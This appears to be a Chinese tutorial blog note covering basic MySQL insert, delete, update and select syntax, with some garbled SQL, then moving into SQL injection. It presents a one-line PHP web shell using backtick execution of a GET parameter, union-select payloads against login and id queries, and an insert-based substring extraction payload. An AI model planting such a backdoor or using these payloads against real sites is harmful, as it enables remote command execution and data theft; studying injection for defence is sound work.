增、删、改、查，贴码：

1、增加数据

• insert into table_name value ('1','2',3…)
• 也可以通过set指定添加的字段：insert into table_name set ('1',3…) value(1,2,3…)

那么第二条跟第一条有什么区别呢？

举个栗子：user表中有三个字段；

用第一条命令添加数据 value 值后面必须有三个值；

而用第二条命令 ，可以通过 set 设置指明 我就需要 添加 第一列和第三列的，第二列不需要填，那么value值就填俩个值就OK；

注：添加数据时可以同 ` 这个符号（ESC下面一个的按键）表明这是个字段，是MySQL的转义符，如： insert into user value (`juzi`,`20`) ；用于包含数据库名、表名、字段名，避免与其他关键字冲突；

小技巧：<?php $test=$_GET['zxc']; echo `$test`; ?> 这句话等效于 <?php eval($_GET['zxc']); ?>　　这句话就是使用 ` 这个反勾号达到的效果；

2、删除数据

• delete from table_name where id=1；　　#删数据
• drop database db_name；　　　　　　 #删数据库
• drop table table_name;　　　　　　　　#删表

3、修改数据

• 　　update table_name set column_name='%d' where id =%d　　　　%d 作为可以替换的数据，column_name 是 字段名

4、查找数据

• select * from table_name 　　#查找数据
• select column_name from table_name where column_name=%d　　 %d 作为可以替换的数据

写个 查找数据 时的注入漏洞吧；

举栗：

若原查询语句为： select username from user where id='$id' 或为 select * from user where username='$username'&passwd='$passwd'　　　　其中 $id、$username、$passwdd 是 通过浏览器 接收过来的变量，即可控变量;(假设没做过滤)

那么构造语句为：

$id = 0' union select 1,database(),'3　　

$username = 0' union select 1,database(),3#

$passwd = 不写也行

select username from user where id='0' union select 1,database(),'3'　　以及　　select * from user where username='0' union select 1,database(),3# '&passwd=''　　　井号后面不解析，注释了

那么再举个栗子：

通过 insert into 增加数据 构造注入；

insert into table_name value('1','2','3'...)　　　　1,2,3为前端浏览器输入的内容，即可控制；

构造语句：insert into table_name value('1','0'+substr((select database()) from 1 for 1)+'0','3')　　必要时，可以在 substr 外面加个 ASCII（）进行转码；为什么这么写，上篇unfinish有提到；